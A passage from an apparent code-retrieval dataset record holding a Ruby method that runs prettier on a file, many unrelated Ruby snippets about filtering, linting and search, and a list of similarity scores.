_is_valid_bool_value(listing_params[:has_photos])\n\t\t\t\t#status\n\t\t\t\tstatus = listing_params[:status] ? listing_params[:status] : 'active,pending'\n\t\t\t\t# sort order defaults to order by last udpated\n\t\t\t\tsort_column = %w[layout rent date_available updated status_updated].include?(listing_params[:sort]) ? listing_params[:sort] : \"updated\".freeze\n\t\t\t\t# sort_dir\n\t\t\t\tsort_dir = %w[asc desc].include?(listing_params[:sort_dir]) ? listing_params[:sort_dir] : \"\".freeze\n\t\t\t\t# pagination\n\t\t\t\tper_page = 50\n\t\t\t\t# if listing_params[:per_page] && !listing_params[:per_page].empty?\n\t\t\t\t# \tper_page = listing_params[:per_page].to_i\n\t\t\t\t# \tif per_page < 50\n\t\t\t\t# \t\tper_page = 50\n\t\t\t\t# \tend\n\t\t\t\t# \tif per_page > 50\n\t\t\t\t# \t\tper_page = 50\n\t\t\t\t# \tend\n\t\t\t\t# end\n\n\t\t\t\t# calls our API::V1::NestioInterface module located under /lib\n\t\t\t\tsearch_params = {\n\t\t\t\t\tlisting_type: @listing_type,\n\t\t\t\t\tlayout: layout,\n\t\t\t\t\tbathrooms: bathrooms,\n\t\t\t\t\tmin_rent: listing_params[:min_rent],\n\t\t\t\t\tmax_rent: listing_params[:max_rent],\n\t\t\t\t\tcats_allowed: cats_allowed,\n\t\t\t\t\tdogs_allowed: dogs_allowed,\n\t\t\t\t\televator: elevator,\n\t\t\t\t\tdoorman: doorman,\n\t\t\t\t\tdate_available_before: listing_params[:date_available_before],\n\t\t\t\t\tdate_available_after: listing_params[:date_available_after],\n\t\t\t\t\tlaundry_in_building: laundry_in_building,\n\t\t\t\t\tlaundry_in_unit: laundry_in_unit,\n\t\t\t\t\thas_photos: has_photos,\n\t\t\t\t\tsort_column: sort_column,\n\t\t\t\t\tsort_dir: sort_dir,\n\t\t\t\t\tper_page: per_page,\n\t\t\t\t\tpage: listing_params[:page],\n\t\t\t\t\tagents: listing_params[:agents],\n\t\t\t\t\tneighborhoods: listing_params[:neighborhoods],\n\t\t\t\t\tchanged_at: listing_params[:changed_at],\n\t\t\t\t\tstatus: status\n\t\t\t\t}\n\n\t\t\t\tsearch_type_breakdown(search_params)\n\t\t\t\t@listing_type = @listing_type.to_i\n\t\t\tend", "def list_filter_options(**opt)\n # TODO: ???\n end", "def run_ktlint(options)\n result = ktlint.lint(options)\n if result == ''\n {}\n else\n JSON.parse(result).flatten\n end\n end", "def filter_for(method, *args)\n @results.collect { |r| r.public_send(method, *args).to_h }\n .inject({}) { |hah, err| hah.merge(err) { |key, old_v, new_v| (new_v.is_a?(Array) ? (old_v |= new_v) : old_v.merge(new_v)) } }\n .find_all { |k, v| # filter :nested=>{:something=>[\"too nested!\"]} #DISCUSS: do we want that here?\n if v.is_a?(Hash)\n nested_errors = v.select { |attr_key, val| attr_key.is_a?(Integer) && val.is_a?(Array) && val.any? }\n v = nested_errors.to_a if nested_errors.any?\n end\n v.is_a?(Array)\n }.to_h\n end", "def search_filter # rubocop:disable Metrics/AbcSize,Metrics/CyclomaticComplexity,Metrics/PerceivedComplexity,Metrics/MethodLength\n @array.select do |item|\n parts = doi_parts(item.hit[:json]) || code_parts(item.hit[:code])\n (refparts[:code] && [parts[:series], item.hit[:series]].include?(refparts[:series]) &&\n refparts[:code].casecmp(parts[:code].upcase).zero? &&\n (refparts[:prt] == parts[:prt]) &&\n (refparts[:vol].nil? || refparts[:vol] == parts[:vol]) &&\n (refparts[:ver].nil? || refparts[:ver] == parts[:ver]) &&\n (refparts[:rev].nil? || refparts[:rev] == parts[:rev]) &&\n refparts[:draft] == parts[:draft] && refparts[:add] == parts[:add])\n end\n end", "def bib_results_filter(result, year)\n missed_years = []\n result.each do |r|\n item = r.fetch\n item.fetched = Date.today.to_s\n return { ret: item } if !year\n\n item.date.select { |d| d.type == \"published\" }.each do |d|\n return { ret: item } if year.to_i == d.on(:year)\n\n missed_years << d.on(:year)\n end\n end\n { years: missed_years }\n end", "def validate_filters_clause(errors)\n errors\n end", "def apply_filter\n end", "def default_analysis\n {\n filter: {\n english_possessive_stemmer: {\n type: 'stemmer',\n language: 'possessive_english'\n },\n english_keywords: {\n type: 'keyword_marker',\n keywords: ['colourful', 'colorful', 'lining']\n },\n minimal_english_stemmer: {\n type: 'stemmer',\n language: 'minimal_english'\n },\n english_stop: {\n type: 'stop',\n stopwords: '_english_'\n },\n prefix_matcher: {\n type: 'edge_ngram',\n min_gram: 1,\n max_gram: 30\n }\n },\n analyzer: {\n dashboard_search_prefix: {\n type: 'custom',\n tokenizer: 'standard',\n filter: [\n 'lowercase',\n 'prefix_matcher'\n ]\n },\n dashboard_search_standard: {\n type: 'standard'\n },\n dashboard_search_english: {\n type: 'custom',\n tokenizer: 'standard',\n filter: [\n 'english_possessive_stemmer',\n 'lowercase',\n 'english_stop',\n 'english_keywords',\n 'minimal_english_stemmer'\n ]\n }\n }\n }\n end", "def data\n what = searched_for(@term)\n where = searched_in(@filter)\n {\n term: @term,\n title: (what + where).sub(/\\sin\\s|\\sfor\\s/, ''), # strip out opening ' in ' or ' for '\n cpvs: @cpvs,\n keywords: @term,\n countries: @filter.countries,\n what: what,\n where: where,\n }\n end", "def typus_defaults_for(filter)\n data = Typus::Configuration.config[name][filter.to_s]\n return (!data.nil?) ? data.extract_settings : []\n end", "def index_filters\n {}\n end", "def to_json\n\t\tresult = {}\n\t\tself.filters.collect { |c| result[c[0].to_sym] = c[1] }\n\t\treturn result.to_json\n\tend", "def index\n @lint_items = LintItem.all\n end", "def typus_defaults_for(filter)\n read_model_config[filter.to_s].try(:extract_settings) || []\n end", "def check_filter_options() #:nodoc:\r\n table_name = @tables.first[1]\r\n model = @tables.first[0]\r\n session[table_name] ||= {}\r\n# process page\r\n session[table_name][:page] = params[:page] if params[:page]\r\n# new filter is applied\r\n if params[:filter]\r\n set_session_filter(table_name)\r\n session[table_name][:page] = 1\r\n end\r\n# if data model has field dc_site_id ensure that only documents which belong to the site are selected.\r\n site_id = dc_get_site._id if dc_get_site\r\n# dont't filter site if no dc_site_id field or user is ADMIN\r\n site_id = nil if !model.method_defined?('dc_site_id') or dc_user_can(DcPermission::CAN_ADMIN)\r\n# \r\n if @records = DcFilter.get_filter(session[table_name][:filter])\r\n @records = @records.and(dc_site_id: site_id) if site_id\r\n else\r\n @records = if site_id\r\n model.where(dc_site_id: site_id)\r\n else\r\n model\r\n end\r\n end\r\n=begin \r\n# TODO Use only fields requested. Higly experimental but necessary in some scenarios\r\n if (columns = @form['result_set']['columns'])\r\n cols = []\r\n columns.each { |k,v| cols << v['name'] }\r\n p '*',cols,'*'\r\n @records = @records.only(cols)\r\n end\r\n=end \r\n# pagination if required\r\n per_page = (@form['result_set']['per_page'] || 30).to_i\r\n if per_page > 0\r\n @records = @records.page(session[table_name][:page]).per(per_page)\r\n end\r\nend", "def get_validate data\n data.values.flatten\n end", "def list\n @list ||= all.to_a\n \n TEXTUAL_FILTERS.each do |filter|\n filter_value = send(filter)\n filter_property = property_for_filter(filter)\n if !filter_value.to_s.empty?\n @list = @list.select do |task|\n value = task.send(filter_property)\n value.to_s.downcase.include?(filter_value.to_s.downcase)\n end\n end\n end\n \n filter_value = start_at_filter\n if filter_value\n @list = @list.select do |task| \n value = task.start_at\n filter_value.nil? ? true : value >= filter_value\n end\n end\n \n filter_value = end_at_filter\n if filter_value\n @list = @list.select do |task|\n value = task.end_at\n filter_value.nil? ? true : value <= filter_value\n end\n end\n \n @list\n end", "def get_filter_context( inspection_type )\n qry = inspection_type.qc_filter_context_search || ''\n if qry.strip == ''\n errors.add_to_base \"QC Inspection Type '#{inspection_type.qc_inspection_type_code}' does not have a filter context search.\"\n return nil\n end\n\n qry.gsub!('{business_object_id}', self.business_object_id.to_s)\n records = QcInspection.find_by_sql( qry )\n if records.nil? || records.empty?\n errors.add_to_base \"filter context search returned no values for business object id #{self.business_object_id}.\" \n nil\n else\n records.first\n end\n end", "def offense_to_diagnostic off\n {\n range: offense_range(off).to_hash,\n # 1 = Error, 2 = Warning, 3 = Information, 4 = Hint\n severity: SEVERITIES[off['severity']],\n source: 'rubocop',\n code: off['cop_name'],\n message: off['message'].gsub(/^#{off['cop_name']}\\:/, '')\n }\n end", "def hash\n [clean_result, contains_executable, contains_invalid_file, contains_script, contains_password_protected_file, contains_restricted_file_format, contains_macros, contains_xml_external_entities, contains_insecure_deserialization, contains_html, contains_unsafe_archive, verified_file_format, found_viruses, content_information].hash\n end", "def raw_critical_risks\n\t\t\t\t\twhere(:severity => 4)\n\t\t\t\tend", "def typus_actions_on(filter)\n Typus::Configuration.config[name]['actions'][filter.to_s].extract_settings\n rescue\n []\n end", "def get_warnings\n warnings = {}\n\n if !@data_import.rejected_layers.nil?\n warnings.merge!(rejected_layers: @data_import.rejected_layers.split(','))\n warnings.merge!(user_max_layers: @data_import.user.max_layers)\n end\n\n warnings.merge!(JSON.parse(@data_import.runner_warnings)) if !@data_import.runner_warnings.nil?\n\n warnings.empty? ? nil : warnings\n end", "def filter(options={})\n raise NotImplementedError\n end", "def ignored\n @diagnostics.select {|d| d.severity == :ignore }\n end", "def filtered_parameters; end" ]
[ "0.6210377", "0.6112849", "0.5698051", "0.5629338", "0.56079626", "0.54661274", "0.5461848", "0.5377522", "0.53758997", "0.5374422", "0.5374422", "0.5374422", "0.5370254", "0.5370254", "0.53580415", "0.53332967", "0.5286536", "0.52781713", "0.519369", "0.5193552", "0.5186186", "0.5186186", "0.5176412", "0.5161342", "0.51491565", "0.51295656", "0.51082623", "0.51044357", "0.51019055", "0.51010114", "0.5088459", "0.5080789", "0.5079996", "0.5071506", "0.50692236", "0.50676525", "0.5061965", "0.50520205", "0.5051245", "0.5026011", "0.50145227", "0.50082093", "0.50008816", "0.49999627", "0.49999627", "0.49984515", "0.49916884", "0.49856478", "0.4983009", "0.49708986", "0.49535024", "0.49526778", "0.4945052", "0.4938262", "0.49278975", "0.4921224", "0.49205393", "0.49108094", "0.49100468", "0.4908619", "0.4908619", "0.4908359", "0.4905173", "0.49014828", "0.48916173", "0.48867214", "0.48867214", "0.48807475", "0.48793668", "0.48780885", "0.4872757", "0.48674697", "0.4860276", "0.4851484", "0.48374885", "0.4833678", "0.4823275", "0.48191655", "0.4818612", "0.4812867", "0.48118266", "0.47947714", "0.47946352", "0.47922343", "0.47887793", "0.4787535", "0.47813067", "0.4778167", "0.47749317", "0.47748893", "0.47732088", "0.4767715", "0.47649762", "0.47600526", "0.47573352", "0.47568566", "0.47534546", "0.4751034", "0.47417387", "0.47385147" ]
0.53520733
15
Run prettier aginst a single file.
def run_check(bin, file) command = "#{bin} --list-different" command << " --config #{config_file}" if config_file command << " #{additional_args}" if additional_args result = `#{command} #{file}` result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prettier_path\n local = executable_path ? executable_path : \"./node_modules/.bin/prettier\"\n File.exist?(local) ? local : \"prettier\"\n end", "def pygmentize(file_name, code, lexer = nil)\n if lexer.present?\n Gitlab::Highlight.highlight(file_name, code)\n else\n \"<pre>#{Rack::Utils.escape_html(code)}</pre>\"\n end\n end", "def indent()\n file = Tempfile.new(\"out\")\n infile = Tempfile.new(\"in\")\n file.write(self.to_s)\n file.flush\n bufc = \"FOO\"\n\n tmppos = @pos\n\n message(\"Auto format #{@fname}\")\n\n if [\"chdr\", \"c\", \"cpp\"].include?(get_file_type())\n\n #C/C++/Java/JavaScript/Objective-C/Protobuf code\n system(\"clang-format -style='{BasedOnStyle: LLVM, ColumnLimit: 100, SortIncludes: false}' #{file.path} > #{infile.path}\")\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"Javascript\"\n cmd = \"clang-format #{file.path} > #{infile.path}'\"\n debug cmd\n system(cmd)\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"ruby\"\n cmd = \"rufo #{file.path}\"\n debug cmd\n system(cmd)\n bufc = IO.read(file.path)\n else\n return\n end\n self.update_content(bufc)\n center_on_current_line #TODO: needed?\n file.close; file.unlink\n infile.close; infile.unlink\n end", "def pygment_code_block(block)\n write_data block, 'code.rb', false\n system 'pygmentize -o block.html code.rb'\n File.open('block.html', 'r').read\n end", "def run(dir = ARGV)\n fq_dir = Pathname.new(File.expand_path(dir.first))\n if @options[:tmp_folder]\n tmp = Pathname.new(File.expand_path(@options[:tmp_folder]))\n FileUtils.rm_rf(tmp)\n else\n tmp = Pathname.new(\"#{fq_dir}/ruumba_tmp_#{SecureRandom.hex[0..3]}/\")\n end\n\n Dir[\"#{fq_dir}/**/*.erb\"].each do |f|\n n = tmp + Pathname.new(f).relative_path_from(fq_dir)\n FileUtils.mkdir_p(File.dirname(n))\n\n File.open(\"#{n}.rb\", 'w+') do |file|\n code = extract f\n file.write code\n end\n end\n\n if @options && @options[:arguments]\n args = @options[:arguments].join(' ')\n else\n args = ''\n end\n\n if !@options[:tmp_folder]\n FileUtils.rm_rf(tmp)\n end\n\n system(\"rubocop #{args} #{tmp}\")\n end", "def run(args)\n case args.size\n when 1\n if @proc.frame\n file = @proc.frame.source_container[1]\n line = @proc.frame.source_location[0]\n else\n errmsg(\"No Ruby program loaded.\")\n return\n end\n when 2\n line = Integer(args[1]) rescue nil\n if line\n if @proc.frame\n file = @proc.frame.source_container[1]\n else\n errmsg(\"No Ruby program loaded.\")\n return\n end\n else\n file = args[1]\n line = 1\n end\n when 3\n line, file = args[2], args[1]\n else\n errmsg \"edit needs at most 2 args.\"\n end\n editor = ENV['EDITOR'] || '/bin/ex'\n unless File.executable?(editor)\n errmsg \"Editor #{editor} is not executable. Trying anyway...\"\n end\n\n if File.readable?(file)\n file = File.basename(file) if settings[:basename]\n edit_cmd = \"#{editor} +#{line} \\\"#{file}\\\"\"\n msg \"Running #{edit_cmd}...\"\n system(edit_cmd)\n msg \"Warning: return code was #{$?.exitstatus}\" if $?.exitstatus != 0\n else\n errmsg \"File \\\"#{file}\\\" is not readable.\"\n end\n end", "def run\n files_to_inspect.each do |path|\n SourceFile.new(\n linter_config: linter_config,\n io: io,\n path: path,\n root: root\n ).process\n end\n end", "def formatted_source_file(source_file); end", "def main(args)\n cli_options = parse_args(args)\n if cli_options[:filepath] == nil\n puts \"must include a file path\"\n exit 1\n end\n\n parsed = nil\n\n begin\n parsed = parse_tm(File.read(cli_options[:filepath]))\n rescue Errno::ENOENT => e\n $stderr.puts \"File '#{cli_options[:filepath]}' not found: #{e}\"\n end\n\n options = { :output => 'tex', :expand_aliases => true, :duration => 500, :filepath => nil, :template => nil }\n .merge(parsed[:options].delete_if { |k, v| v.nil? })\n .merge(cli_options.delete_if { |k, v| v.nil? })\n\n puts \"options: \" + options.inspect\n\n parsed[:description] = transform(parsed[:description], options)\n\n if options[:template] != nil\n output = output_begin(parsed, options)\n run(parsed) do |state|\n output = output_stream(output, parsed, options, state)\n end\n output_end(output, parsed, options)\n else\n File.write(\n options.filepath + '.tex',\n generate_template(parsed[:description], options)\n )\n end\n\nend", "def send_comment(results)\n dir = \"#{Dir.pwd}/\"\n results.each do |r|\n filename = results[\"filePath\"].gsub(dir, \"\")\n fail(\"File not formatted with Prettier\", file: filename, line: 0)\n end\n end", "def highlight_file(filename, options = T.unsafe(nil), format = T.unsafe(nil)); end", "def run(file)\n # OPTIMIZE Detailed output for --pre commands with popen4?\n @pre.each { |cmd|\n ret = system(cmd)\n unless ret\n STDERR.puts \"Error: This preprocessing command signalled failure (#{$?}), please check --> #{cmd}\"\n return\n end\n }\n dbs = DocbookStatus::Status.new(file)\n doc_info = dbs.analyze_file\n doc_info[:remarks] = dbs.find_remarks(@remarks_filter) if @remarks\n if history_on?()\n dbs_h = DocbookStatus::History.new(file)\n dbs_h.planned_end(@end_date) if @end_date != NOVAL\n dbs_h.total_words(@total_words) if @total_words != NOVAL\n dbs_h.daily_words(@daily_words) if @daily_words != NOVAL\n dbs_h.add(DateTime.now, doc_info[:sections][0][:words])\n dbs_h.save\n doc_info[:goals] = dbs_h.goals\n doc_info[:today] = dbs_h.today\n end\n case\n when @output_format == :yaml\n YAML.dump(doc_info, STDOUT)\n when @output_format == :json\n STDOUT.puts doc_info.to_json\n else\n output_terminal(doc_info)\n end\nend", "def execute( file = nil, config = nil )\n self.source_file = file unless file.nil?\n if self.source_file.nil?\n @@log.error \"#{__method__}: Source file is nil or invalid.\"\n return false\n end\n\n self.config = config unless config.nil?\n if self.config.nil?\n @@log.error \"#{__method__}: Config is nil or invalid.\"\n return false\n end\n\n if self.path.nil?\n @@log.error \"#{__method__}: No valid Tidy has been set or could be found.\"\n return false\n end\n\n # Check the config_file for cases of write-back: yes, in which case we\n # will create a backup for restoration after the Tidy process.\n writes_back = self.config.config_matches?('write-back', 'yes')\n\n Dir.mktmpdir do | tmp | # temp stuff cleaned up automatically.\n if writes_back\n @@log.info \"#{__method__}: Dealing with write-back: yes by creating backup of original file.\"\n FileUtils.cp(self.source_file, \"#{self.source_file}.bak\")\n end\n err_path = \"#{File.join(tmp, 'tidy_err.tmp')}\"\n tdy_path = \"#{File.join(tmp, 'tidy_out.tmp')}\"\n command = \"#{File.join('.', File.basename(self.path))} -o #{tdy_path} -f #{err_path} -config #{self.config.actual_path} --tidy-mark no #{self.arguments_extra} #{self.source_file}\"\n pwd = Dir.pwd\n Dir.chdir(File.dirname(self.path))\n @@log.info \"#{__method__}: performing #{command}\"\n tidy_result = Open3.capture3(command)\n Dir.chdir(pwd)\n if writes_back\n # The original source_file is now tidy'd, so put it where the rest of the\n # test suite expects to find tidy results files, and restore the original.\n @@log.info \"#{__method__}: Restoring original source file after write-back: yes.\"\n FileUtils.mv(self.source_file, tdy_path)\n FileUtils.mv(\"#{self.source_file}.bak\", self.source_file)\n end\n yield tdy_path, err_path, tidy_result[2].exitstatus if block_given?\n end\n true\n end", "def render_erb_inline(file, opts = {})\n if File.exist?(erb_path_for(file))\n ERB.new(IO.read(erb_path_for(file))).result(binding).gsub(/\\n/, \"\\n#{sprintf(\"%#{opts[:indent]}s\", \"\")}\").strip\n else\n raise \"Can't do an inline render of '#{file}' because it doesn't exist!\"\n end\nend", "def run_file(filename, preloading = false)\n begin\n result = RSpec::Core::CommandLine.new([\"-f\", \"p\", filename]).run(io, io)\n rescue LoadError => e\n io << \"\\nCould not load file #{filename}: #{e.message}\\n\\n\"\n result = 1\n rescue Exception => e\n io << \"Exception when running #{filename}: #{e.message}\"\n io << e.backtrace[0..7].join(\"\\n\")\n result = 1\n end\n\n if preloading\n puts io.string\n else\n channel.write(\"command\" => \"result\", \"filename\" => filename, \"return_code\" => result.to_i, \"text\" => io.string, \"worker_number\" => worker_number)\n end\n end", "def run_lint(bin, file)\n command = \"#{bin} -f json\"\n command << \" -c #{config_file}\" if config_file\n command << \" --ignore-path #{ignore_file}\" if ignore_file\n result = `#{command} #{file}`\n JSON.parse(result)\n end", "def taph\n tap {\n puts \"<pre>\" +\n \"#{File.basename caller[2]}: #{self.inspect}\".gsub('&', '&amp;').gsub('<', '&lt;') +\n \"</pre>\"\n }\n end", "def formatted_source_file(source_file)\n template(\"source_file\").result(binding)\n rescue Encoding::CompatibilityError => e\n puts \"Encoding problems with file #{filename(source_file)}. Simplecov/ERB can't handle non ASCII characters in filenames. Error: #{e.message}.\"\n end", "def run_scripts(committed_files)\n # keep this STDIN.reopen line to allow for reading user input\n STDIN.reopen(\"/dev/tty\")\n # for each of the files in the committed_files array, call the different style checks\n committed_files.each { |file_name|\n # you can specify which code style checks you want to enforce through this hook\n # you would add/remove any rules here. For example: new_style_rule(file_name)\n debugger_check(file_name)\n whitespace_check(file_name)\n newline_check(file_name)\n }\n # we want to keep this check_for_file_edits method to see if any files were modified as a result of running these hook\n check_for_file_edits(committed_files)\nend", "def pretty_print\n puts `ruby -r pp -e 'pp(#{@template.inspect})'`\n end", "def source(filename); end", "def preprocessFile _args\n \"preprocessFile _args;\" \n end", "def to_call_dot(filename)\n basename = File.basename(filename, \".dot\")\n basename=basename+\".ps\"\n \n dot_command1=\"dot -Tps \"+(filename)+ \" -o \"+basename\n system(dot_command1)\n end", "def compile_inline(file, options = {})\n initial_options = options.merge({})\n options = {\n check_for_changes: false,\n sub_template: false,\n collect_stats: false,\n initial_options: initial_options\n }.merge(options)\n @scope = options[:scope]\n file = Pathname.new(file) unless options[:string]\n run_erb(file, options).strip\n end", "def code_to_pdf(file, outdir)\n # decide language syntax highlighting\n case file[:ext]\n when '.cpp', '.cs'\n lang = :cplusplus\n when '.c', '.h'\n lang = :c\n when '.java'\n lang = :java\n when '.pas'\n lang = :delphi\n else\n # should follow basic C syntax (if, else etc...)\n lang = :c\n end\n # code -> HTML\n html_body = CodeRay.scan_file(file[:actualfile], lang).html(:wrap => :div, :tab_width => 2, :css => :class, :line_numbers => :table, :line_number_anchors => false)\n\n # HTML -> PDF\n kit = PDFKit.new(html_body, :page_size => 'A4', :header_right => \"[page]/[toPage]\", :margin_top => \"10mm\", :margin_right => \"5mm\", :margin_bottom => \"5mm\", :margin_left => \"5mm\", :lowquality => true, :minimum_font_size => 8)\n kit.stylesheets << Rails.root.join(\"vendor/assets/stylesheets/coderay.css\")\n kit.to_file(outdir)\n end", "def markup_code\n return '' unless @token_stream\n\n src = RDoc::TokenStream.to_html @token_stream\n\n # dedent the source\n indent = src.length\n lines = src.lines.to_a\n lines.shift if src =~ /\\A.*#\\ *File/i # remove '# File' comment\n lines.each do |line|\n if line =~ /^ *(?=\\S)/\n n = $&.length\n indent = n if n < indent\n break if n == 0\n end\n end\n src.gsub!(/^#{' ' * indent}/, '') if indent > 0\n\n add_line_numbers(src) if options.line_numbers\n\n src\n end", "def uglify(file)\n #'hello world'\n template = Tilt.new(File.join('views',file)).render(self)\n Uglifier.compile(template)\n #Uglifier.compile(ERB.new(File.read(File.join('views', file))).result(binding).force_encoding('UTF-8').gsub(/^#.*?\\n/,''))\n end", "def texify exec_trace\n document_text = \"\"\n File.open \"preamble.tex\" do |file|\n while line = file.gets\n document_text += line\n end\n end\n document_text += \"\\\\begin{document}\\n\"\n stages = get_stages exec_trace\n stages.each do |stage|\n document_text += \"\\\\begin{frame}\\n\\n\"\n document_text += state_text stage.i_heap, stage.i_store\n document_text += \"\\n\"\n document_text += \"Current command: \"\n document_text += \"\\\\il{#{stage.text}}\"\n document_text += \"\\n\"\n document_text += \"\\\\vspace{1cm}\\n\\n\"\n document_text += state_text stage.f_heap, stage.f_store\n document_text += \"\\\\end{frame}\"\n document_text += \"\\n\"\n end\n document_text\nend", "def bob_code(options={}, &block)\n # if the only string is give, it must be filename by default\n if options.is_a? String\n f = options\n options = {}\n options[:filename] = f \n end\n if block_given?\n code = capture(&block)\n options[:brush] ||= :plain\n else\n unless options[:brush]\n # determine the brush from the filename\n if options[:filename]\n options[:brush] = case File.extname(options[:filename]).downcase\n when '.rb'\n :ruby\n when '.sh', '.ksh', '.csh'\n :shell\n when '.as3'\n :as3\n when '.cf'\n :cf\n when '.c#'\n :csharp\n when '.cpp', '.c'\n :cpp\n when '.css'\n :css\n when '.pas'\n :pascal\n when '.diff'\n :diff\n when '.erl'\n :elang\n when '.js'\n :javascript\n when '.java'\n :java\n when '.pl'\n :perl\n when '.php', '.php3'\n :php\n when '.txt'\n :plain\n when '.ps'\n :powershell\n when '.py', '.jy'\n :python\n when '.scala'\n :scala\n when '.sql'\n :sql\n when '.vb', '.vbs'\n :vb\n when '.xml', '.xhtml', '.xslt', '.html', '.xhtml'\n :xml\n else \n :plain # default value\n end\n end\n end\n code = raw File.read(Rails.root.join('code', options[:filename]))\n end\n s = raw \"<pre class=\\\"brush: #{options[:brush]}; highlight: #{options[:highlight_lines]}\\\">\"\n s += code\n s += raw '</pre>'\n end", "def setup_rubocop\n template \"templates/rubocop.tt\", \".rubocop.yml\"\n end", "def check_results\n bin = prettier_path\n raise \"prettier is not installed\" unless bin\n return run_check(bin, \".\") unless filtering\n ((git.modified_files - git.deleted_files) + git.added_files)\n .select { |f| f[matching_file_regex] }\n .map { |f| f.gsub(\"#{Dir.pwd}/\", \"\") }\n .map { |f| run_check(bin, f) }\n end", "def pretty_run(title, cmd)\n puts\n print_bar(100, title)\n puts \"> #{cmd}\"\n puts\n Kernel.system(cmd) unless pretend?\n print_bar(100)\n end", "def shell_command(files, options={})\n loadpath = options[:loadpath]\n requires = options[:requires]\n\n cmd = []\n cmd << \"ruby\" # \"bundle exec ruby\"\n cmd << loadpath.map{ |i| %{-I\"#{i}\"} }.join(' ') unless loadpath.empty?\n cmd << requires.map{ |r| %{-r\"#{r}\"} }.join(' ') unless requires.empty?\n #cmd << \"-r minitest/unit\"\n cmd.concat(files)\n cmd << \"| tapout\"\n cmd << \"-t #{trace}\" if @trace\n cmd << \"--no-ansi\" unless @ansi\n cmd << @format\n cmd = cmd.join(' ')\n\n return cmd\n\n #puts cmd if $DEBUG\n #system cmd\n end", "def render_as_format(from, to, format)\n puts \"Hola, bon dia!!\"\n puts from\n puts to\n thefile = `iconv -f ISO8859-1 #{from}`\n dotfile = Tempfile.new('dot')\n begin\n model = T2Flow::Parser.new.parse(thefile)\n T2Flow::Dot.new.write_dot(dotfile, model)\n dotfile.close\n `dot -T#{format} -o\"#{to}\" #{dotfile.path}`\n ensure\n dotfile.unlink\n end\nend", "def run\n fifoname = (0...8).map{65.+(SecureRandom.random_number(25)).chr}.join + '.json'\n text = nil\n\n Dir.chdir(@home) do\n if @on_windows or @use_pipe == false\n @is_pipe = false\n text = edit_file(fifoname, @editor, @initial_text)\n else\n @is_pipe = true\n text = edit_fifo(fifoname, @editor, @initial_text)\n end\n end\n\n unless text.empty?\n result = done @initial_text, text\n end\n\n return @initial_text if result == nil\n return text\n end", "def enforce_styling(path = 'spec/umami/')\n puts \"Running Rubocop over '#{path}' to enforce styling...\"\n r = RuboCop::CLI.new\n # Don't output to STDOUT.\n args = [\n '--only', 'Layout/IndentationWidth,Layout/IndentationConsistency',\n '--auto-correct',\n '--out', '/dev/null',\n path\n ]\n r.run(args)\n end", "def command\n 'rubocop --safe-auto-correct --format clang ' \\\n \"--only #{cop.name} #{paths.join(' ')}\"\n end", "def inject_tm_harness( src )\n File.open(src, 'a') do |f|\n f.puts \"#{harnessXXX()}\"\n end \n end", "def call(filepath, linenum) # should separate to a class?\n command = (@command || detect_command()) % [linenum, filepath] # or [filepath, linenum]\n log(command)\n `#{command.untaint}`\n end", "def rubocop\n return if changed_ruby_files.empty?\n\n output = `rubocop --color --display-cop-names --extra-details --display-style-guide #{changed_files.join(' ')}`\n return if $CHILD_STATUS.success?\n\n heading('Rubocop', output)\n end", "def tex_compile(file)\r\n\tprint File.basename(Dir.pwd) + '/' + file\r\n\t`platex -kanji=\"sjis\" #{file}.tex`\r\n\tprint \".\"\r\n\t`#{$bibtex} #{file}`\r\n\tprint \".\"\r\n\r\n\t# some system needs three times compiles.\r\n\t3.times do\r\n\t\t`platex -kanji=\"sjis\" #{file}.tex`\r\n\t\tprint \".\"\r\n\tend\r\n\r\n\t`dvipdfmx #{file}.dvi > #{$dev_null} 2>&1`\r\n\tputs \".\"\r\nend", "def format(path, text)\n ad_hoc_config = fork_config(path, text, format: true)\n capture_rubocop_stdout(ad_hoc_config)\n ad_hoc_config.rubocop_options[:stdin]\n end", "def pygmentize(code, lang)\n url = URI.parse 'http://pygments.simplabs.com/'\n options = {'lang' => lang, 'code' => code}\n begin\n Net::HTTP.post_form(url, options).body\n rescue\n \"<pre>#{code}</pre>\"\n end\n end", "def run(args)\n\n ## FIXME: DRY this code, tbreak and break.\n unless args.size == 1\n filename = @proc.frame.file\n line_number = @proc.get_an_int(args[1])\n return unless line_number\n syntax_errors = Trepan::ruby_syntax_errors(filename)\n if syntax_errors\n msg [\"File #{filename} is not a syntactically correct Ruby program.\",\n \"Therefore we can't check line numbers.\"]\n return unless confirm('Set breakpoint anyway?', false)\n end\n unless LineCache.trace_line_numbers(filename).member?(line_number)\n errmsg(\"Line %d is not a stopping point in file \\\"%s\\\".\\n\" %\n [line_number, filename])\n return\n end\n @proc.state.context.set_breakpoint(filename, line_number)\n end\n @proc.continue\n @proc.leave_cmd_loop = true\n end", "def render_code(code)\n render_block(Pygments.highlight(code, formatter: 'terminal256', lexer: 'ruby', options: {style: 'bw'}))\nend", "def pre_compile(main_file, settings)\n\tFile.read(main_file)\nend", "def formats(arguments, options)\n puts \"Available formats:\"\n Dir.glob(\"{#{$LOAD_PATH.join(',')}}/baretest/run/*.rb\") { |path|\n puts \"- #{File.basename(path, '.rb')}\"\n }\n end", "def start(pygments_path = File.expand_path('../../../vendor/pygments-main/', __FILE__))\n is_windows = RUBY_PLATFORM =~ /mswin|mingw/\n begin\n @log = Logger.new(ENV['MENTOS_LOG'] ||= is_windows ? 'NUL:' : '/dev/null')\n @log.level = Logger::INFO\n @log.datetime_format = \"%Y-%m-%d %H:%M \"\n rescue\n @log = Logger.new(is_windows ? 'NUL:' : '/dev/null')\n end\n\n ENV['PYGMENTS_PATH'] = pygments_path\n\n # Make sure we kill off the child when we're done\n at_exit { stop \"Exiting\" }\n\n # A pipe to the mentos python process. #popen4 gives us\n # the pid and three IO objects to write and read.\n script = \"#{python_binary} #{File.expand_path('../mentos.py', __FILE__)}\"\n @pid, @in, @out, @err = popen4(script)\n @log.info \"[#{Time.now.iso8601}] Starting pid #{@pid.to_s} with fd #{@out.to_i.to_s}.\"\n end", "def do_run\n return unless @output\n\n @output_buffer = []\n @output.value = ''\n @editor.focus\n source = @editor.value.strip\n return unless source\n\n # Add additional code if available\n if @loaded && @current_item && @current_item.load_code\n source = \"#{@current_item.load_code}\\n#{source}\"\n end\n\n # Compile\n begin\n code = Opal.compile(source)\n rescue Exception => err\n log_error err\n end\n\n # Run\n eval_code code\n end", "def view_code(file)\n code = YAML.load(file)\n code = '' unless code\n code = {} if 